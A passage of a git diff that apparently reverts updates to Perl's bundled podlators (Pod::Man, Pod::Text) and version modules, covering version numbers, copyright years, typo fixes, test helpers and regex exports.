@@ sub start_document { # has a PerlIO encoding layer set. If it does not, we'll need to encode # our output before printing it (handled in the output() sub). Wrap the # check in an eval to handle versions of Perl without PerlIO. - # - # PerlIO::get_layers still requires its argument be a glob, so coerce the - # file handle to a glob. $$self{ENCODE} = 0; if ($$self{utf8}) { $$self{ENCODE} = 1; eval { my @options = (output => 1, details => 1); - my @layers = PerlIO::get_layers (*{$$self{output_fh}}, @options); - if ($layers[-1] & PerlIO::F_UTF8 ()) { + my $flag = (PerlIO::get_layers ($$self{output_fh}, @options))[-1]; + if ($flag & PerlIO::F_UTF8 ()) { $$self{ENCODE} = 0; } } @@ -937,7 +934,7 @@ sub devise_title { # # If POD_MAN_DATE is set, that overrides anything else. This can be used for # reproducible generation of the same file even if the input file timestamps -# are unpredictable or the POD comes from standard input. +# are unpredictable or the POD coms from standard input. # # Otherwise, if SOURCE_DATE_EPOCH is set and can be parsed as seconds since # the UNIX epoch, base the timestamp on that. See @@ -1395,7 +1392,7 @@ sub parse_from_file { my $self = shift; $self->reinit; - # Fake the old cutting option to Pod::Parser. This fiddles with internal + # Fake the old cutting option to Pod::Parser. This fiddings with internal # Pod::Simple state and is quite ugly; we need a better approach. if (ref ($_[0]) eq 'HASH') { my $opts = shift @_; @@ -1556,20 +1553,16 @@ sub preamble_template { .\" Avoid warning from groff about undefined register 'F'. .de IX .. -.nr rF 0 -.if \n(.g .if rF .nr rF 1 -.if (\n(rF:(\n(.g==0)) \{\ -. if \nF \{\ -. de IX -. tm Index:\\$1\t\\n%\t"\\$2" +.if !\nF .nr F 0 +.if \nF>0 \{\ +. de IX +. tm Index:\\$1\t\\n%\t"\\$2" .. -. if !\nF==2 \{\ -. nr % 0 -. nr F 2 -. \} +. if !\nF==2 \{\ +. nr % 0 +. nr F 2 . \} .\} -.rr rF ----END OF PREAMBLE---- #'# for cperl-mode @@ -2023,7 +2016,7 @@ mine). =head1 COPYRIGHT AND LICENSE Copyright 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, -2009, 2010, 2012, 2013, 2014, 2015, 2016, 2017 Russ Allbery +2009, 2010, 2012, 2013, 2014, 2015, 2016 Russ Allbery This program is free software; you may redistribute it and/or modify it under the same terms as Perl itself. @@ -2036,7 +2029,8 @@ L, L Ossanna, Joseph F., and Brian W. Kernighan. "Troff User's Manual," Computing Science Technical Report No. 54, AT&T Bell Laboratories. This is the best documentation of standard B and B. At the time of -this writing, it's available at L. +this writing, it's available at +L. The man page documenting the man macro set may be L instead of L on your system. Also, please see L for extensive diff --git a/cpan/podlators/lib/Pod/ParseLink.pm b/cpan/podlators/lib/Pod/ParseLink.pm index 9a1627079b48..9a37a0532c22 100644 --- a/cpan/podlators/lib/Pod/ParseLink.pm +++ b/cpan/podlators/lib/Pod/ParseLink.pm @@ -31,7 +31,7 @@ use Exporter; @ISA = qw(Exporter); @EXPORT = qw(parselink); -$VERSION = '4.10'; +$VERSION = '4.09'; ############################################################################## # Implementation diff --git a/cpan/podlators/lib/Pod/Text.pm b/cpan/podlators/lib/Pod/Text.pm index f73b4af2b92d..211de5a7de86 100644 --- a/cpan/podlators/lib/Pod/Text.pm +++ b/cpan/podlators/lib/Pod/Text.pm @@ -39,7 +39,7 @@ use Pod::Simple (); # We have to export pod2text for backward compatibility. @EXPORT = qw(pod2text); -$VERSION = '4.10'; +$VERSION = '4.09'; # Ensure that $Pod::Simple::nbsp and $Pod::Simple::shy are available. Code # taken from Pod::Simple 3.32, but was only added in 3.30. @@ -707,7 +707,7 @@ sub parse_from_file { my $self = shift; $self->reinit; - # Fake the old cutting option to Pod::Parser. This fiddles with internal + # Fake the old cutting option to Pod::Parser. This fiddings with internal # Pod::Simple state and is quite ugly; we need a better approach. if (ref ($_[0]) eq 'HASH') { my $opts = shift @_; diff --git a/cpan/podlators/lib/Pod/Text/Color.pm b/cpan/podlators/lib/Pod/Text/Color.pm index fa1aadb46335..a26e43db8131 100644 --- a/cpan/podlators/lib/Pod/Text/Color.pm +++ b/cpan/podlators/lib/Pod/Text/Color.pm @@ -27,7 +27,7 @@ use vars qw(@ISA $VERSION); @ISA = qw(Pod::Text); -$VERSION = '4.10'; +$VERSION = '4.09'; ############################################################################## # Overrides diff --git a/cpan/podlators/lib/Pod/Text/Overstrike.pm b/cpan/podlators/lib/Pod/Text/Overstrike.pm index d0ce7680aa11..f611a4225b3a 100644 --- a/cpan/podlators/lib/Pod/Text/Overstrike.pm +++ b/cpan/podlators/lib/Pod/Text/Overstrike.pm @@ -35,13 +35,13 @@ use Pod::Text (); @ISA = qw(Pod::Text); -$VERSION = '4.10'; +$VERSION = '4.09'; ############################################################################## # Overrides ############################################################################## -# Make level one headings bold, overriding any existing formatting. +# Make level one headings bold, overridding any existing formatting. sub cmd_head1 { my ($self, $attrs, $text) = @_; $text =~ s/\s+$//; diff --git a/cpan/podlators/lib/Pod/Text/Termcap.pm b/cpan/podlators/lib/Pod/Text/Termcap.pm index f015cfce597c..91939331f80a 100644 --- a/cpan/podlators/lib/Pod/Text/Termcap.pm +++ b/cpan/podlators/lib/Pod/Text/Termcap.pm @@ -28,7 +28,7 @@ use vars qw(@ISA $VERSION); @ISA = qw(Pod::Text); -$VERSION = '4.10'; +$VERSION = '4.09'; ############################################################################## # Overrides diff --git a/cpan/podlators/scripts/pod2man.PL b/cpan/podlators/scripts/pod2man.PL index 3f19b791d52e..b70057be8641 100644 --- a/cpan/podlators/scripts/pod2man.PL +++ b/cpan/podlators/scripts/pod2man.PL @@ -47,7 +47,7 @@ print {$out} <<'SCRIPT_BODY' or die "Cannot write to $file: $!\n"; # pod2man -- Convert POD data to formatted *roff input. # # Copyright 1999, 2000, 2001, 2004, 2006, 2008, 2010, 2012, 2013, 2014, 2015, -# 2016, 2017 Russ Allbery +# 2016 Russ Allbery # # This program is free software; you may redistribute it and/or modify it # under the same terms as Perl itself. @@ -113,11 +113,7 @@ do { $parser->parse_from_file (@files); if ($parser->{CONTENTLESS}) { $status = 1; - if (defined $files[0]) { - warn "$0: unable to format $files[0]\n"; - } else { - warn "$0: unable to format standard input\n"; - } + warn "$0: unable to format $files[0]\n"; if (defined ($files[1]) and $files[1] ne '-') { unlink $files[1] unless (-s $files[1]); } @@ -432,7 +428,7 @@ B by Larry Wall and Tom Christiansen. =head1 COPYRIGHT AND LICENSE Copyright 1999, 2000, 2001, 2004, 2006, 2008, 2010, 2012, 2013, 2014, -2015, 2016, 2017 Russ Allbery +2015, 2016 Russ Allbery This program is free software; you may redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/podlators/scripts/pod2text.PL b/cpan/podlators/scripts/pod2text.PL index d1a146e8f0a6..f6c80715b962 100644 --- a/cpan/podlators/scripts/pod2text.PL +++ b/cpan/podlators/scripts/pod2text.PL @@ -47,7 +47,7 @@ print {$out} <<'SCRIPT_BODY' or die "Cannot write to $file: $!\n"; # pod2text -- Convert POD data to formatted ASCII text. # # Copyright 1999, 2000, 2001, 2004, 2006, 2008, 2010, 2012, 2013, 2014, 2015, -# 2016, 2017 Russ Allbery +# 2016 Russ Allbery # # This program is free software; you may redistribute it and/or modify it # under the same terms as Perl itself. @@ -123,11 +123,7 @@ do { $parser->parse_from_file ($input, $output); if ($parser->{CONTENTLESS}) { $status = 1; - if (defined $input) { - warn "$0: unable to format $input\n"; - } else { - warn "$0: unable to format standard input\n"; - } + warn "$0: unable to format $input\n"; if (defined ($output) and $output ne '-') { unlink $output unless (-s $output); } @@ -362,7 +358,7 @@ Russ Allbery . =head1 COPYRIGHT AND LICENSE Copyright 1999, 2000, 2001, 2004, 2006, 2008, 2010, 2012, 2013, 2014, 2015, -2016, 2017 Russ Allbery +2016 Russ Allbery This program is free software; you may redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/podlators/t/data/basic.cap b/cpan/podlators/t/data/basic.cap index d580ed89dcd1..a59534324871 100644 --- a/cpan/podlators/t/data/basic.cap +++ b/cpan/podlators/t/data/basic.cap @@ -172,12 +172,12 @@ Of course I should still be able to do all this with escape sequences too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}". - Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}". + Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}". And make sure that 0 works too! Now, if I use << or >> as my delimiters, then I have to use whitespace. So - things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end up + things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end up doing what you might expect since the first > will still terminate the first < seen. diff --git a/cpan/podlators/t/data/basic.clr b/cpan/podlators/t/data/basic.clr index f9591c87d697..da6acf234d89 100644 --- a/cpan/podlators/t/data/basic.clr +++ b/cpan/podlators/t/data/basic.clr @@ -173,12 +173,12 @@ Of course I should still be able to do all this with escape sequences too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}". - Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}". + Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}". And make sure that 0 works too! Now, if I use << or >> as my delimiters, then I have to use whitespace. - So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end + So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end up doing what you might expect since the first > will still terminate the first < seen. diff --git a/cpan/podlators/t/data/basic.man b/cpan/podlators/t/data/basic.man index 871bd923fd41..e11546fb74bf 100644 --- a/cpan/podlators/t/data/basic.man +++ b/cpan/podlators/t/data/basic.man @@ -216,12 +216,12 @@ Of course I should still be able to do all this \fIwith\fR escape sequences too: \f(CW\*(C`$self\->method()\*(C'\fR and \f(CW\*(C`$self\->{FIELDNAME}\*(C'\fR and \&\f(CW\*(C`{FOO=>BAR}\*(C'\fR. .PP -Don't forget \f(CW\*(C`$self\->method()\->{FIELDNAME} = {FOO=>BAR}\*(C'\fR. +Dont forget \f(CW\*(C`$self\->method()\->{FIELDNAME} = {FOO=>BAR}\*(C'\fR. .PP And make sure that \f(CW0\fR works too! .PP Now, if I use << or >> as my delimiters, then I have to use whitespace. -So things like \f(CW\*(C`<$self\-\*(C'\fR\fBmethod()\fR>> and \f(CW\*(C`<$self\-\*(C'\fR{\s-1FIELDNAME\s0}>> won't end +So things like \f(CW\*(C`<$self\-\*(C'\fR\fImethod()\fR>> and \f(CW\*(C`<$self\-\*(C'\fR{\s-1FIELDNAME\s0}>> wont end up doing what you might expect since the first > will still terminate the first < seen. .PP diff --git a/cpan/podlators/t/data/basic.ovr b/cpan/podlators/t/data/basic.ovr index 14a116946a64..726a16ac819d 100644 --- a/cpan/podlators/t/data/basic.ovr +++ b/cpan/podlators/t/data/basic.ovr @@ -173,12 +173,12 @@ FFOORRMMAATTTTIINNGG  CCOODDEESS Of course I should still be able to do all this _w_i_t_h escape sequences too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}". - Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}". + Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}". And make sure that 0 works too! Now, if I use << or >> as my delimiters, then I have to use whitespace. - So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end + So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end up doing what you might expect since the first > will still terminate the first < seen. diff --git a/cpan/podlators/t/data/basic.pod b/cpan/podlators/t/data/basic.pod index 3c784e6fcb23..3c7fd59533a2 100644 --- a/cpan/podlators/t/data/basic.pod +++ b/cpan/podlators/t/data/basic.pod @@ -268,12 +268,12 @@ Of course I should still be able to do all this I escape sequences too: C<$self-Emethod()> and C<$self-E{FIELDNAME}> and C<{FOO=EBAR}>. -Don't forget C<$self-Emethod()-E{FIELDNAME} = {FOO=EBAR}>. +Dont forget C<$self-Emethod()-E{FIELDNAME} = {FOO=EBAR}>. And make sure that C<0> works too! Now, if I use << or >> as my delimiters, then I have to use whitespace. -So things like C<<$self->method()>> and C<<$self->{FIELDNAME}>> won't end +So things like C<<$self->method()>> and C<<$self->{FIELDNAME}>> wont end up doing what you might expect since the first > will still terminate the first < seen. diff --git a/cpan/podlators/t/data/basic.txt b/cpan/podlators/t/data/basic.txt index f0f8ba216dfc..5eee3c98c1ae 100644 --- a/cpan/podlators/t/data/basic.txt +++ b/cpan/podlators/t/data/basic.txt @@ -173,12 +173,12 @@ FORMATTING CODES Of course I should still be able to do all this *with* escape sequences too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}". - Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}". + Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}". And make sure that 0 works too! Now, if I use << or >> as my delimiters, then I have to use whitespace. - So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end + So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end up doing what you might expect since the first > will still terminate the first < seen. diff --git a/cpan/podlators/t/data/snippets/man/error-stderr b/cpan/podlators/t/data/snippets/man/error-stderr index 9effc9eef97c..bcaef66f3968 100644 --- a/cpan/podlators/t/data/snippets/man/error-stderr +++ b/cpan/podlators/t/data/snippets/man/error-stderr @@ -1,5 +1,5 @@ [name] -Errors to standard error +Errors to stadard error [options] errors stderr diff --git a/cpan/podlators/t/data/snippets/man/soft-hyphens b/cpan/podlators/t/data/snippets/man/soft-hyphens index 90447679dbb7..48c123576817 100644 --- a/cpan/podlators/t/data/snippets/man/soft-hyphens +++ b/cpan/podlators/t/data/snippets/man/soft-hyphens @@ -2,7 +2,7 @@ Soft hyphens [input] -=head1 Soft Hyphen Testing +=head1 Soft Hypen Testing sigEaction manuEscript @@ -21,8 +21,8 @@ manuE<0x00AD>script JarkE<0x00AD>ko HieE<0x00AD>taE<0x00AD>nieE<0x00AD>mi [output] -.SH "Soft Hyphen Testing" -.IX Header "Soft Hyphen Testing" +.SH "Soft Hypen Testing" +.IX Header "Soft Hypen Testing" sig\%action manu\%script Jark\%ko Hie\%ta\%nie\%mi diff --git a/cpan/podlators/t/docs/pod-spelling.t b/cpan/podlators/t/docs/pod-spelling.t index dc11b9cf923c..6debd4202774 100644 --- a/cpan/podlators/t/docs/pod-spelling.t +++ b/cpan/podlators/t/docs/pod-spelling.t @@ -3,7 +3,7 @@ # Check for spelling errors in POD documentation. # # The canonical version of this file is maintained in the rra-c-util package, -# which can be found at . +# which can be found at . # # Written by Russ Allbery # Copyright 2013, 2014 diff --git a/cpan/podlators/t/docs/pod.t b/cpan/podlators/t/docs/pod.t index 2ef7bf07c7a8..674ce300940e 100644 --- a/cpan/podlators/t/docs/pod.t +++ b/cpan/podlators/t/docs/pod.t @@ -3,7 +3,7 @@ # Check all POD documents for POD formatting errors. # # The canonical version of this file is maintained in the rra-c-util package, -# which can be found at . +# which can be found at . # # Written by Russ Allbery # Copyright 2012, 2013, 2014 diff --git a/cpan/podlators/t/docs/synopsis.t b/cpan/podlators/t/docs/synopsis.t index 384e407b7e77..3cdcbab21cb0 100644 --- a/cpan/podlators/t/docs/synopsis.t +++ b/cpan/podlators/t/docs/synopsis.t @@ -3,7 +3,7 @@ # Check the SYNOPSIS section of the documentation for syntax errors. # # The canonical version of this file is maintained in the rra-c-util package, -# which can be found at . +# which can be found at . # # Written by Russ Allbery # Copyright 2013, 2014 diff --git a/cpan/podlators/t/lib/Test/RRA.pm b/cpan/podlators/t/lib/Test/RRA.pm index bbdb2b0213b8..fe95cd2781bc 100644 --- a/cpan/podlators/t/lib/Test/RRA.pm +++ b/cpan/podlators/t/lib/Test/RRA.pm @@ -13,7 +13,6 @@ use strict; use warnings; use Exporter; -use File::Temp; use Test::More; # For Perl 5.006 compatibility. @@ -27,56 +26,12 @@ our (@EXPORT_OK, @ISA, $VERSION); # consistency is good). BEGIN { @ISA = qw(Exporter); - @EXPORT_OK = qw( - is_file_contents skip_unless_author skip_unless_automated use_prereq - ); + @EXPORT_OK = qw(skip_unless_author skip_unless_automated use_prereq); # This version should match the corresponding rra-c-util release, but with # two digits for the minor version, including a leading zero if necessary, # so that it will sort properly. - $VERSION = '6.03'; -} - -# Compare a string to the contents of a file, similar to the standard is() -# function, but to show the line-based unified diff between them if they -# differ. -# -# $got - The output that we received -# $expected - The path to the file containing the expected output -# $message - The message to use when reporting the test results -# -# Returns: undef -# Throws: Exception on failure to read or write files or run diff -sub is_file_contents { - my ($got, $expected, $message) = @_; - - # If they're equal, this is simple. - open(my $fh, '<', $expected) or BAIL_OUT("Cannot open $expected: $!\n"); - my $data = do { local $/ = undef; <$fh> }; - close($fh) or BAIL_OUT("Cannot close $expected: $!\n"); - if ($got eq $data) { - is($got, $data, $message); - return; - } - - # Otherwise, we show a diff, but only if we have IPC::System::Simple. - eval { require IPC::System::Simple }; - if ($@) { - ok(0, $message); - return; - } - - # They're not equal. Write out what we got so that we can run diff. - my $tmp = File::Temp->new(); - my $tmpname = $tmp->filename; - print {$tmp} $got or BAIL_OUT("Cannot write to $tmpname: $!\n"); - my @command = ('diff', '-u', $expected, $tmpname); - my $diff = IPC::System::Simple::capturex([0 .. 1], @command); - diag($diff); - - # Remove the temporary file and report failure. - ok(0, $message); - return; + $VERSION = '6.01'; } # Skip this test unless author tests are requested. Takes a short description @@ -270,7 +225,7 @@ SOFTWARE. Test::More(3), Test::RRA::Automake(3), Test::RRA::Config(3) This module is maintained in the rra-c-util package. The current version is -available from L. +available from L. The functions to control when tests are run use environment variables defined by the L. +available from L. The C TAP Harness test driver and libraries for TAP-based C testing are -available from L. +available from L. =cut diff --git a/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm b/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm index c4e82bce73f3..202d1b8ead59 100644 --- a/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm +++ b/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm @@ -31,7 +31,7 @@ BEGIN { # This version should match the corresponding rra-c-util release, but with # two digits for the minor version, including a leading zero if necessary, # so that it will sort properly. - $VERSION = '6.03'; + $VERSION = '6.01'; } # A regular expression matching the version string for a module using the @@ -290,6 +290,6 @@ SOFTWARE. Test::More(3), Test::RRA::Config(3) This module is maintained in the rra-c-util package. The current version -is available from L. +is available from L. =cut diff --git a/cpan/podlators/t/style/minimum-version.t b/cpan/podlators/t/style/minimum-version.t index c7f06898b234..e4eeafd20967 100644 --- a/cpan/podlators/t/style/minimum-version.t +++ b/cpan/podlators/t/style/minimum-version.t @@ -3,7 +3,7 @@ # Check that too-new features of Perl are not being used. # # The canonical version of this file is maintained in the rra-c-util package, -# which can be found at . +# which can be found at . # # Written by Russ Allbery # Copyright 2013, 2014 diff --git a/cpan/podlators/t/style/module-version.t b/cpan/podlators/t/style/module-version.t index 021095ded2fc..125f8a2dd392 100644 --- a/cpan/podlators/t/style/module-version.t +++ b/cpan/podlators/t/style/module-version.t @@ -144,6 +144,6 @@ SOFTWARE. =head1 SEE ALSO This module is maintained in the rra-c-util package. The current version -is available from L. +is available from L. =cut diff --git a/cpan/podlators/t/style/strict.t b/cpan/podlators/t/style/strict.t index 5f667b94a171..7137b152261d 100644 --- a/cpan/podlators/t/style/strict.t +++ b/cpan/podlators/t/style/strict.t @@ -3,10 +3,9 @@ # Test Perl code for strict, warnings, and syntax. # # The canonical version of this file is maintained in the rra-c-util package, -# which can be found at . +# which can be found at . # # Written by Russ Allbery -# Copyright 2016 Russ Allbery # Copyright 2013, 2014 # The Board of Trustees of the Leland Stanford Junior University # @@ -40,9 +39,8 @@ use Test::RRA qw(skip_unless_automated use_prereq); # Skip for normal user installs since this doesn't affect functionality. skip_unless_automated('Strictness tests'); -# Load prerequisite modules. At least 0.25 is needed to recognize that having -# use 5.012 or later automatically implies use strict. -use_prereq('Test::Strict', '0.25'); +# Load prerequisite modules. +use_prereq('Test::Strict'); # Test everything in the distribution directory except the Build and # Makefile.PL scripts generated by Module::Build. We also want to check use diff --git a/cpan/podlators/t/text/options.t b/cpan/podlators/t/text/options.t index ab9350c7f04b..3338aa63c2a2 100644 --- a/cpan/podlators/t/text/options.t +++ b/cpan/podlators/t/text/options.t @@ -71,7 +71,7 @@ while () { last if $_ eq "###\n"; $expected .= $_; } - is ($output, $expected, "Output correct for test $n"); + is ($output, $expected, "Ouput correct for test $n"); open (ERR, "out$$.err") or die "Cannot open out$$.err: $!\n"; my $errors; { diff --git a/cpan/version/lib/version.pm b/cpan/version/lib/version.pm index 66d44be63db1..36d130f2dc35 100644 --- a/cpan/version/lib/version.pm +++ b/cpan/version/lib/version.pm @@ -8,20 +8,17 @@ if ($] >= 5.015) { warnings::register_categories(qw/version/); } -our $VERSION = 0.9923; -our $CLASS = 'version'; -our (@ISA, $STRICT, $LAX); +use vars qw(@ISA $VERSION $CLASS $STRICT $LAX *declare *qv); + +$VERSION = 0.9917; +$CLASS = 'version'; # avoid using Exporter require version::regex; *version::is_lax = \&version::regex::is_lax; *version::is_strict = \&version::regex::is_strict; *LAX = \$version::regex::LAX; -*LAX_DECIMAL_VERSION = \$version::regex::LAX_DECIMAL_VERSION; -*LAX_DOTTED_DECIMAL_VERSION = \$version::regex::LAX_DOTTED_DECIMAL_VERSION; *STRICT = \$version::regex::STRICT; -*STRICT_DECIMAL_VERSION = \$version::regex::STRICT_DECIMAL_VERSION; -*STRICT_DOTTED_DECIMAL_VERSION = \$version::regex::STRICT_DOTTED_DECIMAL_VERSION; sub import { no strict 'refs'; diff --git a/cpan/version/lib/version.pod b/cpan/version/lib/version.pod index 9f3b27d0f4af..42691b1e0c1b 100644 --- a/cpan/version/lib/version.pod +++ b/cpan/version/lib/version.pod @@ -266,9 +266,10 @@ leading-v and at least 3 components. =head2 numify() -Returns a value representing the object in a pure decimal. +Returns a value representing the object in a pure decimal form without +trailing zeroes. - version->declare('v1.2')->numify; # 1.002000 + version->declare('v1.2')->numify; # 1.002 version->parse('1.2')->numify; # 1.200 =head2 stringify() @@ -279,7 +280,7 @@ way perl would normally represent it in a string. This method is used whenever a version object is interpolated into a string. version->declare('v1.2')->stringify; # v1.2 - version->parse('1.200')->stringify; # 1.2 + version->parse('1.200')->stringify; # 1.200 version->parse(1.02_30)->stringify; # 1.023 =head1 EXPORTED FUNCTIONS diff --git a/cpan/version/lib/version/regex.pm b/cpan/version/lib/version/regex.pm index 4e44d12c936c..d635c38d4b11 100644 --- a/cpan/version/lib/version/regex.pm +++ b/cpan/version/lib/version/regex.pm @@ -2,7 +2,9 @@ package version::regex; use strict; -our $VERSION = 0.9923; +use vars qw($VERSION $CLASS $STRICT $LAX); + +$VERSION = 0.9917; #--------------------------------------------------------------------------# # Version regexp components @@ -55,19 +57,19 @@ my $LAX_ALPHA_PART = qr/_[0-9]+/; # Strict decimal version number. -our $STRICT_DECIMAL_VERSION = +my $STRICT_DECIMAL_VERSION = qr/ $STRICT_INTEGER_PART $FRACTION_PART? /x; # Strict dotted-decimal version number. Must have both leading "v" and # at least three parts, to avoid confusion with decimal syntax. -our $STRICT_DOTTED_DECIMAL_VERSION = +my $STRICT_DOTTED_DECIMAL_VERSION = qr/ v $STRICT_INTEGER_PART $STRICT_DOTTED_DECIMAL_PART{2,} /x; # Complete strict version number syntax -- should generally be used # anchored: qr/ \A $STRICT \z /x -our $STRICT = +$STRICT = qr/ $STRICT_DECIMAL_VERSION | $STRICT_DOTTED_DECIMAL_VERSION /x; #--------------------------------------------------------------------------# @@ -78,7 +80,7 @@ our $STRICT = # allowing an alpha suffix or allowing a leading or trailing # decimal-point -our $LAX_DECIMAL_VERSION = +my $LAX_DECIMAL_VERSION = qr/ $LAX_INTEGER_PART (?: $FRACTION_PART | \. )? $LAX_ALPHA_PART? | $FRACTION_PART $LAX_ALPHA_PART? @@ -90,7 +92,7 @@ our $LAX_DECIMAL_VERSION = # enough, without the leading "v", Perl takes .1.2 to mean v0.1.2, # so when there is no "v", the leading part is optional -our $LAX_DOTTED_DECIMAL_VERSION = +my $LAX_DOTTED_DECIMAL_VERSION = qr/ v $LAX_INTEGER_PART (?: $LAX_DOTTED_DECIMAL_PART+ $LAX_ALPHA_PART? )? | @@ -103,7 +105,7 @@ our $LAX_DOTTED_DECIMAL_VERSION = # The string 'undef' is a special case to make for easier handling # of return values from ExtUtils::MM->parse_version -our $LAX = +$LAX = qr/ undef | $LAX_DOTTED_DECIMAL_VERSION | $LAX_DECIMAL_VERSION /x; #--------------------------------------------------------------------------# diff --git a/cpan/version/t/01base.t b/cpan/version/t/01base.t index 9c3862db39ac..8e5ab71ce870 100644 --- a/cpan/version/t/01base.t +++ b/cpan/version/t/01base.t @@ -8,13 +8,11 @@ use Test::More qw/no_plan/; use File::Spec; BEGIN { - my $coretests = File::Spec->rel2abs( - File::Spec->catpath( - (File::Spec->splitpath($0))[0,1], 'coretests.pm' - ) + my $coretests = File::Spec->catpath( + (File::Spec->splitpath($0))[0,1], 'coretests.pm' ); require $coretests; - use_ok('version', 0.9923); + use_ok('version', 0.9917); } BaseTests("version","new","qv"); diff --git a/cpan/version/t/02derived.t b/cpan/version/t/02derived.t index 151f66cc202a..fb772703424a 100644 --- a/cpan/version/t/02derived.t +++ b/cpan/version/t/02derived.t @@ -9,13 +9,11 @@ use File::Spec; use File::Temp qw/tempfile/; BEGIN { - my $coretests = File::Spec->rel2abs( - File::Spec->catpath( - (File::Spec->splitpath($0))[0,1], 'coretests.pm' - ) + my $coretests = File::Spec->catpath( + (File::Spec->splitpath($0))[0,1], 'coretests.pm' ); require $coretests; - use_ok("version", 0.9923); + use_ok("version", 0.9917); # If we made it this far, we are ok. } @@ -51,7 +49,8 @@ print $fh <<"EOF"; # This is an empty subclass package $package; use parent 'version'; -our \$VERSION = 0.001; +use vars '\$VERSION'; +\$VERSION=0.001; EOF close $fh; diff --git a/cpan/version/t/03require.t b/cpan/version/t/03require.t index c6f67d50ac8c..6a968a5324e7 100644 --- a/cpan/version/t/03require.t +++ b/cpan/version/t/03require.t @@ -8,10 +8,8 @@ use Test::More qw/no_plan/; use File::Spec; BEGIN { - my $coretests = File::Spec->rel2abs( - File::Spec->catpath( - (File::Spec->splitpath($0))[0,1], 'coretests.pm' - ) + my $coretests = File::Spec->catpath( + (File::Spec->splitpath($0))[0,1], 'coretests.pm' ); require $coretests; } @@ -19,7 +17,7 @@ BEGIN { # Don't want to use, because we need to make sure that the import doesn't # fire just yet (some code does this to avoid importing qv() and delare()). require_ok("version"); -is $version::VERSION, 0.9923, "Make sure we have the correct class"; +is $version::VERSION, 0.9917, "Make sure we have the correct class"; ok(!"main"->can("qv"), "We don't have the imported qv()"); ok(!"main"->can("declare"), "We don't have the imported declare()"); diff --git a/cpan/version/t/04strict_lax.t b/cpan/version/t/04strict_lax.t index 861e4df2b5d2..298fcf7f6f29 100644 --- a/cpan/version/t/04strict_lax.t +++ b/cpan/version/t/04strict_lax.t @@ -21,21 +21,6 @@ SKIP: { ($v) = ( "snapshot-v1.2.3ga-001-432" =~ /($version::STRICT)/ ); is $v, 'v1.2.3', "Extract just the version: $v"; } - - is ref($version::LAX_DECIMAL_VERSION), 'Regexp', 'Can see $version::LAX_DECIMAL_VERSION '.$version::LAX_DECIMAL_VERSION ; - is ref($version::LAX_DOTTED_DECIMAL_VERSION), 'Regexp', 'Can see $version::LAX_DOTTED_DECIMAL_VERSION '.$version::LAX_DOTTED_DECIMAL_VERSION ; - is ref($version::STRICT_DECIMAL_VERSION), 'Regexp', 'Can see $version::STRICT_DECIMAL_VERSION '.$version::STRICT_DECIMAL_VERSION; - is ref($version::STRICT_DOTTED_DECIMAL_VERSION), 'Regexp', 'Can see $version::STRICT_DOTTED_DECIMAL_VERSION '.$version::STRICT_DOTTED_DECIMAL_VERSION; - { # https://rt.cpan.org/Ticket/Display.html?id=119669 - ($v) = ( "snapshot-1.2.3ga-001-432" =~ /($version::LAX_DOTTED_DECIMAL_VERSION)/ ); - is $v, '1.2.3', "Extract just the version: $v"; - ($v) = ( "snapshot-1.2ga-001-432" =~ /($version::LAX_DECIMAL_VERSION)/ ); - is $v, '1.2', "Extract just the version: $v"; - ($v) = ( "snapshot-v1.2.3ga-001-432" =~ /($version::STRICT_DOTTED_DECIMAL_VERSION)/ ); - is $v, 'v1.2.3', "Extract just the version: $v"; - ($v) = ( "snapshot-1.2ga-001-432" =~ /($version::STRICT_DECIMAL_VERSION)/ ); - is $v, '1.2', "Extract just the version: $v"; - } } diff --git a/cpan/version/t/05sigdie.t b/cpan/version/t/05sigdie.t index e979eced20c6..6776adc16490 100644 --- a/cpan/version/t/05sigdie.t +++ b/cpan/version/t/05sigdie.t @@ -14,7 +14,7 @@ BEGIN { } BEGIN { - use version 0.9923; + use version 0.9917; } pass "Didn't get caught by the wrong DIE handler, which is a good thing"; diff --git a/cpan/version/t/06noop.t b/cpan/version/t/06noop.t index a34762e18d32..f118786ffcea 100644 --- a/cpan/version/t/06noop.t +++ b/cpan/version/t/06noop.t @@ -7,7 +7,7 @@ use Test::More qw/no_plan/; BEGIN { - use_ok('version', 0.9923); + use_ok('version', 0.9917); } my $v1 = version->new('1.2'); diff --git a/cpan/version/t/07locale.t b/cpan/version/t/07locale.t index 79b22abe5735..1dcc6db31a3f 100644 --- a/cpan/version/t/07locale.t +++ b/cpan/version/t/07locale.t @@ -11,7 +11,7 @@ use Test::More tests => 8; use Config; BEGIN { - use_ok('version', 0.9923); + use_ok('version', 0.9917); } SKIP: { diff --git a/cpan/version/t/08_corelist.t b/cpan/version/t/08_corelist.t index 638b290936ce..4678c1492635 100644 --- a/cpan/version/t/08_corelist.t +++ b/cpan/version/t/08_corelist.t @@ -5,7 +5,7 @@ ######################### use Test::More tests => 3; -use_ok("version", 0.9923); +use_ok("version", 0.9917); # do strict lax tests in a sub to isolate a package to test importing SKIP: { diff --git a/cpan/version/t/09_list_util.t b/cpan/version/t/09_list_util.t index 34e47dce8f93..6e94839ab8d3 100644 --- 